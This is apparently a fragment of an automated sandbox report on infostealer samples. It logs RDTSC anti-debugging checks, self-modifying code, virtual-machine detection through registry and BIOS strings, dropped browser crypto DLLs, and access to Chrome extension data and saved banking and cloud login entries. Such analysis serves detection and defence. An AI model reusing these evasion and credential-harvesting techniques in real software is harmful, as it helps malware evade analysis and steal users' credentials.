Source: C:\Users\user\DocumentsBFHDHJKKJD.exe	RDTSC instruction interceptor: First address: 67DAE3 second address: 67DAE7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsBFHDHJKKJD.exe	RDTSC instruction interceptor: First address: 67DAE7 second address: 67DAF0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ecx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\DocumentsBFHDHJKKJD.exe	RDTSC instruction interceptor: First address: 680DEC second address: 680DF0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsBFHDHJKKJD.exe	RDTSC instruction interceptor: First address: 680DF0 second address: 680E07 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F3CD87760E6h 0x00000008 jo 00007F3CD87760E6h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push edi 0x00000011 push eax 0x00000012 pop eax 0x00000013 pop edi 0x00000014 pushad 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\DocumentsBFHDHJKKJD.exe	RDTSC instruction interceptor: First address: 683D73 second address: 683D77 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsBFHDHJKKJD.exe	RDTSC instruction interceptor: First address: 6827E4 second address: 6827EA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\DocumentsBFHDHJKKJD.exe	RDTSC instruction interceptor: First address: 682E56 second address: 682E5A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsBFHDHJKKJD.exe	RDTSC instruction interceptor: First address: 683F88 second address: 683F8C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsBFHDHJKKJD.exe	RDTSC instruction interceptor: First address: 683F8C second address: 683F96 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F3CD8C3C7D6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\DocumentsBFHDHJKKJD.exe	RDTSC instruction interceptor: First address: 683F96 second address: 683F9B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\DocumentsBFHDHJKKJD.exe	RDTSC instruction interceptor: First address: 683F9B second address: 683FA1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsBFHDHJKKJD.exe	RDTSC instruction interceptor: First address: 686450 second address: 686456 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\DocumentsBFHDHJKKJD.exe	RDTSC instruction interceptor: First address: 686456 second address: 68647F instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 pushad 0x00000006 popad 0x00000007 pop ecx 0x00000008 push eax 0x00000009 push edx 0x0000000a jo 00007F3CD8C3C7D6h 0x00000010 jmp 00007F3CD8C3C7E9h 0x00000015 rdtsc
Source: C:\Users\user\DocumentsBFHDHJKKJD.exe	RDTSC instruction interceptor: First address: 68C554 second address: 68C55A instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\DocumentsBFHDHJKKJD.exe	RDTSC instruction interceptor: First address: 68C777 second address: 68C77B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsBFHDHJKKJD.exe	RDTSC instruction interceptor: First address: 68C77B second address: 68C785 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F3CD87760E6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\DocumentsBFHDHJKKJD.exe	RDTSC instruction interceptor: First address: 68C785 second address: 68C78A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\DocumentsBFHDHJKKJD.exe	RDTSC instruction interceptor: First address: 68C78A second address: 68C790 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsBFHDHJKKJD.exe	RDTSC instruction interceptor: First address: 68C957 second address: 68C962 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 push edi 0x0000000a pop edi 0x0000000b rdtsc
Source: C:\Users\user\DocumentsBFHDHJKKJD.exe	RDTSC instruction interceptor: First address: 68CE1B second address: 68CE3E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 popad 0x00000008 mov dword ptr [esp], ebx 0x0000000b nop 0x0000000c jmp 00007F3CD87760F0h 0x00000011 push eax 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 pushad 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\DocumentsBFHDHJKKJD.exe	RDTSC instruction interceptor: First address: 68CE3E second address: 68CE44 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\DocumentsBFHDHJKKJD.exe	RDTSC instruction interceptor: First address: 68D0BB second address: 68D0C2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\DocumentsBFHDHJKKJD.exe	RDTSC instruction interceptor: First address: 68D397 second address: 68D39B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsBFHDHJKKJD.exe	RDTSC instruction interceptor: First address: 68FC8C second address: 68FCF6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F3CD87760F6h 0x00000009 popad 0x0000000a popad 0x0000000b push eax 0x0000000c jno 00007F3CD87760EEh 0x00000012 nop 0x00000013 push 00000000h 0x00000015 mov dword ptr [ebp+124548A3h], ecx 0x0000001b push 00000000h 0x0000001d push 00000000h 0x0000001f push ebx 0x00000020 call 00007F3CD87760E8h 0x00000025 pop ebx 0x00000026 mov dword ptr [esp+04h], ebx 0x0000002a add dword ptr [esp+04h], 00000016h 0x00000032 inc ebx 0x00000033 push ebx 0x00000034 ret 0x00000035 pop ebx 0x00000036 ret 0x00000037 mov dword ptr [ebp+122D290Ch], edx 0x0000003d mov edi, 6CB21C00h 0x00000042 xchg eax, ebx 0x00000043 push eax 0x00000044 push edx 0x00000045 jg 00007F3CD87760E8h 0x0000004b rdtsc
Source: C:\Users\user\DocumentsBFHDHJKKJD.exe	RDTSC instruction interceptor: First address: 68FCF6 second address: 68FD2B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F3CD8C3C7E1h 0x00000008 jnc 00007F3CD8C3C7D6h 0x0000000e popad 0x0000000f pop edx 0x00000010 pop eax 0x00000011 push eax 0x00000012 push eax 0x00000013 push edx 0x00000014 jc 00007F3CD8C3C7E5h 0x0000001a jmp 00007F3CD8C3C7DFh 0x0000001f rdtsc
Source: C:\Users\user\DocumentsBFHDHJKKJD.exe	RDTSC instruction interceptor: First address: 691C61 second address: 691C65 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsBFHDHJKKJD.exe	RDTSC instruction interceptor: First address: 69279A second address: 6927A4 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F3CD8C3C7D6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\DocumentsBFHDHJKKJD.exe	RDTSC instruction interceptor: First address: 6943F2 second address: 69442B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push esi 0x00000006 pop esi 0x00000007 push edi 0x00000008 pop edi 0x00000009 popad 0x0000000a pushad 0x0000000b js 00007F3CD87760E6h 0x00000011 jnl 00007F3CD87760E6h 0x00000017 pushad 0x00000018 popad 0x00000019 popad 0x0000001a pop edx 0x0000001b pop eax 0x0000001c pushad 0x0000001d push eax 0x0000001e push edx 0x0000001f push ecx 0x00000020 pop ecx 0x00000021 jmp 00007F3CD87760F8h 0x00000026 rdtsc
Source: C:\Users\user\DocumentsBFHDHJKKJD.exe	RDTSC instruction interceptor: First address: 69442B second address: 694435 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F3CD8C3C7D6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\DocumentsBFHDHJKKJD.exe	RDTSC instruction interceptor: First address: 699266 second address: 69926C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsBFHDHJKKJD.exe	RDTSC instruction interceptor: First address: 69926C second address: 699270 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsBFHDHJKKJD.exe	RDTSC instruction interceptor: First address: 699270 second address: 699274 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsBFHDHJKKJD.exe	RDTSC instruction interceptor: First address: 699274 second address: 69928B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jnp 00007F3CD8C3C7DCh 0x00000011 jp 00007F3CD8C3C7D6h 0x00000017 rdtsc
Source: C:\Users\user\DocumentsBFHDHJKKJD.exe	RDTSC instruction interceptor: First address: 69931C second address: 699326 instructions: 0x00000000 rdtsc 0x00000002 js 00007F3CD87760ECh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\DocumentsBFHDHJKKJD.exe	RDTSC instruction interceptor: First address: 69B37E second address: 69B38C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pushad 0x00000004 popad 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 pushad 0x0000000a push ebx 0x0000000b pop ebx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\DocumentsBFHDHJKKJD.exe	RDTSC instruction interceptor: First address: 69B38C second address: 69B396 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push edi 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\DocumentsBFHDHJKKJD.exe	RDTSC instruction interceptor: First address: 69B396 second address: 69B3B3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 jp 00007F3CD8C3C7DCh 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F3CD8C3C7DAh 0x00000012 rdtsc
Source: C:\Users\user\DocumentsBFHDHJKKJD.exe	RDTSC instruction interceptor: First address: 646CCD second address: 646CD2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\DocumentsBFHDHJKKJD.exe	RDTSC instruction interceptor: First address: 646CD2 second address: 646CE4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jmp 00007F3CD8C3C7DBh 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\DocumentsBFHDHJKKJD.exe	RDTSC instruction interceptor: First address: 69B94C second address: 69B950 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsBFHDHJKKJD.exe	RDTSC instruction interceptor: First address: 69B950 second address: 69B9AB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3CD8C3C7DCh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jnl 00007F3CD8C3C7DCh 0x0000000f popad 0x00000010 mov dword ptr [esp], eax 0x00000013 push 00000000h 0x00000015 push eax 0x00000016 call 00007F3CD8C3C7D8h 0x0000001b pop eax 0x0000001c mov dword ptr [esp+04h], eax 0x00000020 add dword ptr [esp+04h], 0000001Ch 0x00000028 inc eax 0x00000029 push eax 0x0000002a ret 0x0000002b pop eax 0x0000002c ret 0x0000002d push 00000000h 0x0000002f mov dword ptr [ebp+122D2805h], ebx 0x00000035 push 00000000h 0x00000037 mov bx, ax 0x0000003a xchg eax, esi 0x0000003b jp 00007F3CD8C3C7E0h 0x00000041 pushad 0x00000042 push eax 0x00000043 push edx 0x00000044 rdtsc
Source: C:\Users\user\DocumentsBFHDHJKKJD.exe	RDTSC instruction interceptor: First address: 69B9AB second address: 69B9C4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b push eax 0x0000000c pop eax 0x0000000d jmp 00007F3CD87760EBh 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\DocumentsBFHDHJKKJD.exe	RDTSC instruction interceptor: First address: 69B9C4 second address: 69B9CA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\DocumentsBFHDHJKKJD.exe	RDTSC instruction interceptor: First address: 69D86B second address: 69D86F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsBFHDHJKKJD.exe	RDTSC instruction interceptor: First address: 69F8EF second address: 69F8F3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsBFHDHJKKJD.exe	RDTSC instruction interceptor: First address: 69F8F3 second address: 69F8F9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\DocumentsBFHDHJKKJD.exe	RDTSC instruction interceptor: First address: 6A082A second address: 6A0830 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\DocumentsBFHDHJKKJD.exe	RDTSC instruction interceptor: First address: 6A17E5 second address: 6A1801 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F3CD87760F8h 0x00000009 rdtsc
Source: C:\Users\user\DocumentsBFHDHJKKJD.exe	RDTSC instruction interceptor: First address: 6A263A second address: 6A263E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsBFHDHJKKJD.exe	RDTSC instruction interceptor: First address: 6A263E second address: 6A26A7 instructions: 0x00000000 rdtsc 0x00000002 je 00007F3CD87760E6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edi 0x0000000c jmp 00007F3CD87760F7h 0x00000011 pop edi 0x00000012 nop 0x00000013 mov dword ptr [ebp+122D3022h], eax 0x00000019 push 00000000h 0x0000001b push 00000000h 0x0000001d push 00000000h 0x0000001f push edi 0x00000020 call 00007F3CD87760E8h 0x00000025 pop edi 0x00000026 mov dword ptr [esp+04h], edi 0x0000002a add dword ptr [esp+04h], 00000019h 0x00000032 inc edi 0x00000033 push edi 0x00000034 ret 0x00000035 pop edi 0x00000036 ret 0x00000037 add dword ptr [ebp+122D1BA3h], ebx 0x0000003d push eax 0x0000003e push eax 0x0000003f push edx 0x00000040 jmp 00007F3CD87760F0h 0x00000045 rdtsc
Source: C:\Users\user\DocumentsBFHDHJKKJD.exe	RDTSC instruction interceptor: First address: 6A36E6 second address: 6A36EA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsBFHDHJKKJD.exe	RDTSC instruction interceptor: First address: 6A36EA second address: 6A36EE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsBFHDHJKKJD.exe	RDTSC instruction interceptor: First address: 6A36EE second address: 6A36F4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\DocumentsBFHDHJKKJD.exe	RDTSC instruction interceptor: First address: 6A36F4 second address: 6A36FA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsBFHDHJKKJD.exe	RDTSC instruction interceptor: First address: 6A36FA second address: 6A36FE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsBFHDHJKKJD.exe	RDTSC instruction interceptor: First address: 6A5492 second address: 6A54AC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3CD87760F6h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\DocumentsBFHDHJKKJD.exe	RDTSC instruction interceptor: First address: 6A54AC second address: 6A54B1 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\DocumentsBFHDHJKKJD.exe	RDTSC instruction interceptor: First address: 6A54B1 second address: 6A5518 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pop edx 0x00000006 pop eax 0x00000007 nop 0x00000008 mov bl, A4h 0x0000000a push 00000000h 0x0000000c mov edi, dword ptr [ebp+122D323Ah] 0x00000012 mov dword ptr [ebp+122D19D2h], edi 0x00000018 push 00000000h 0x0000001a push 00000000h 0x0000001c push esi 0x0000001d call 00007F3CD87760E8h 0x00000022 pop esi 0x00000023 mov dword ptr [esp+04h], esi 0x00000027 add dword ptr [esp+04h], 0000001Ch 0x0000002f inc esi 0x00000030 push esi 0x00000031 ret 0x00000032 pop esi 0x00000033 ret 0x00000034 mov dword ptr [ebp+1245531Bh], edi 0x0000003a xchg eax, esi 0x0000003b jmp 00007F3CD87760F9h 0x00000040 push eax 0x00000041 pushad 0x00000042 push edi 0x00000043 push ebx 0x00000044 pop ebx 0x00000045 pop edi 0x00000046 push edx 0x00000047 push eax 0x00000048 push edx 0x00000049 rdtsc
Source: C:\Users\user\DocumentsBFHDHJKKJD.exe	RDTSC instruction interceptor: First address: 6A64FD second address: 6A6517 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3CD8C3C7E6h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\DocumentsBFHDHJKKJD.exe	RDTSC instruction interceptor: First address: 6A6517 second address: 6A651E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 11BF9D5 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 11BFAE3 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 136D839 instructions caused by: Self-modifying code
Source: C:\Users\user\DocumentsBFHDHJKKJD.exe	Special instruction interceptor: First address: 4DEE09 instructions caused by: Self-modifying code
Source: C:\Users\user\DocumentsBFHDHJKKJD.exe	Special instruction interceptor: First address: 4DEEF8 instructions caused by: Self-modifying code
Source: C:\Users\user\DocumentsBFHDHJKKJD.exe	Special instruction interceptor: First address: 6AC8E3 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 70EE09 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 70EEF8 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 8DC8E3 instructions caused by: Self-modifying code

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion

Source: C:\Users\user\DocumentsBFHDHJKKJD.exe

Code function: 31_2_051A0628 rdtsc

31_2_051A0628

Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\1009574001\75ca5498ad.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\random[1].exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe

API coverage: 0.8 %

Source: C:\Users\user\Desktop\file.exe TID: 964	Thread sleep time: -30015s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 2304	Thread sleep time: -50025s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 768	Thread sleep time: -40020s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 5896	Thread sleep time: -32000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 6972	Thread sleep time: -50025s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 5632	Thread sleep time: -50025s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 3204	Thread sleep time: -58029s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 2728	Thread sleep time: -50025s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 8712	Thread sleep count: 60 > 30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 8712	Thread sleep time: -1800000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 8712	Thread sleep time: -30000s >= -30000s

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Last function: Thread delayed

Source: C:\Users\user\DocumentsBFHDHJKKJD.exe

File Volume queried: C:\ FullSizeInformation

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C97C930 GetSystemInfo,VirtualAlloc,GetSystemInfo,VirtualFree,VirtualAlloc,

0_2_6C97C930

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 30000
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 30000

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior

Source: Web Data.15.dr	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696487552
Source: skotes.exe, skotes.exe, 00000023.00000002.3410073673.0000000000893000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: Web Data.15.dr	Binary or memory string: secure.bankofamerica.comVMware20,11696487552\|UE
Source: Web Data.15.dr	Binary or memory string: account.microsoft.com/profileVMware20,11696487552u
Source: Web Data.15.dr	Binary or memory string: discord.comVMware20,11696487552f
Source: Web Data.15.dr	Binary or memory string: bankofamerica.comVMware20,11696487552x
Source: Web Data.15.dr	Binary or memory string: www.interactivebrokers.comVMware20,11696487552}
Source: file.exe, 00000000.00000002.2700717988.000000000175E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2700717988.00000000017B0000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2213399632.00000000017C6000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000023.00000002.3412047271.000000000116A000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000023.00000002.3412047271.0000000001138000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: Web Data.15.dr	Binary or memory string: ms.portal.azure.comVMware20,11696487552
Source: Web Data.15.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696487552
Source: Web Data.15.dr	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696487552
Source: Web Data.15.dr	Binary or memory string: global block list test formVMware20,11696487552
Source: Web Data.15.dr	Binary or memory string: tasks.office.comVMware20,11696487552o
Source: file.exe, 00000000.00000002.2700717988.000000000175E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware5/v
Source: Web Data.15.dr	Binary or memory string: AMC password management pageVMware20,11696487552
Source: Web Data.15.dr	Binary or memory string: interactivebrokers.co.inVMware20,11696487552d
Source: file.exe, 00000000.00000002.2730742081.0000000023CF0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: 1RECOVE~1470bankoRecoveryImprovedVMware20,11696487552x
Source: Web Data.15.dr	Binary or memory string: interactivebrokers.comVMware20,11696487552
Source: Web Data.15.dr	Binary or memory string: dev.azure.comVMware20,11696487552j
Source: Web Data.15.dr	Binary or memory string: Interactive Brokers - HKVMware20,11696487552]
Source: Web Data.15.dr	Binary or memory string: microsoft.visualstudio.comVMware20,11696487552x
